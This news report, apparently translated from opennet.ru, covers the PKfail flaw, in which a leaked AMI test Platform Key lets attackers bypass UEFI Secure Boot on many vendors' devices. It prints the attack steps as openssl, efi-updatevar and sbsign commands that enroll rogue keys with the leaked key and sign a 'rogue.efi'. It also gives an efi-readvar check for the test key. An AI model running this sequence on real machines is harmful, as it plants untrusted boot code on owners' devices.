Security researchers from Binarly have discovered a bypass for the UEFI Secure Boot verified boot mode in over 800 products released by companies including Acer, Dell, Fujitsu, Gigabyte, HP, Intel, Lenovo, and Supermicro. The issue has been code-named PKfail and is related to the use of an untrustworthy Platform Key (PK), generated by AMI (American Megatrends International) and supplied as a test sample. The oldest firmware using this test key was released in 2012, while the most recent is dated June 2024. According to researchers, more than 10% of all verified firmware are vulnerable to this problem.
The parameters for the key indicated that it was untrustworthy and should not be shipped in products. It was implied that this test key should be replaced with a proprietary one, but manufacturers overlooked the warning and used a generic shared key provided to all partners and customers of AMI.
The private part of the AMI test key, necessary for creating digital signatures, was made publicly available after a leak from one of the hardware manufacturers, whose employee accidentally posted code containing this key in a public repository on GitHub. The private key was placed in an encrypted file, which was encrypted with a simple 4-character password that could be easily cracked using a brute force method.
The platform key is used as the root of trust for signing the databases with keys for Secure Boot. Accessing the private part of the platform key compromises the entire trust chain involved in validating the components of the booting system — knowing the platform key allows one to bypass Secure Boot protection and substitute their own components during the boot process through manipulation of the KEK (Key Exchange Key) and the databases 'db' (Signature Database) and 'dbx' (Forbidden Signature Database). KEK is responsible for creating the trust chain between the firmware and the operating system, 'db' contains certificates and signatures for the bootloader and third-party UEFI components, while 'dbx' includes revoked signatures of known malicious components.
To carry out an attack, it is sufficient to generate new keys and certificates for KEK and db, after which the publicly available test key of the platform can be used to load the created KEK certificate into the UEFI firmware. Once the KEK certificate is loaded into the firmware, the associated private key can be used to load a new certificate into the db database. After loading the db certificate, the associated private key can be used to sign the loaded EFI components. openssl req -newkey rsa:4096 -nodes -keyout KEK.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY KEK/" -out KEK.crt openssl req -newkey rsa:4096 -nodes -keyout db.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY db/" -out db.crt efi-updatevar -a -c KEK.crt -k PK.key KEK efi-updatevar -a -c db.crt -k KEK.key db sbsign —key db.key —cert db.crt —output rogue.efi.signed rogue.efi
To verify the correctness of the platform key, simply run the utility "efi-readvar -v PK" from the efitools package and ensure that the platform key is not a test key: efi-readvar -v PK Variable PK, length 862 PK: List 0, type X509 Signature 0, size 834, owner 26dc4851-195f-4ae1-9a19-fbf883bbb35e Subject: CN=DO NOT TRUST — AMI Test PK Issuer: CN=DO NOT TRUST — AMI Test PK
Source: opennet.ru
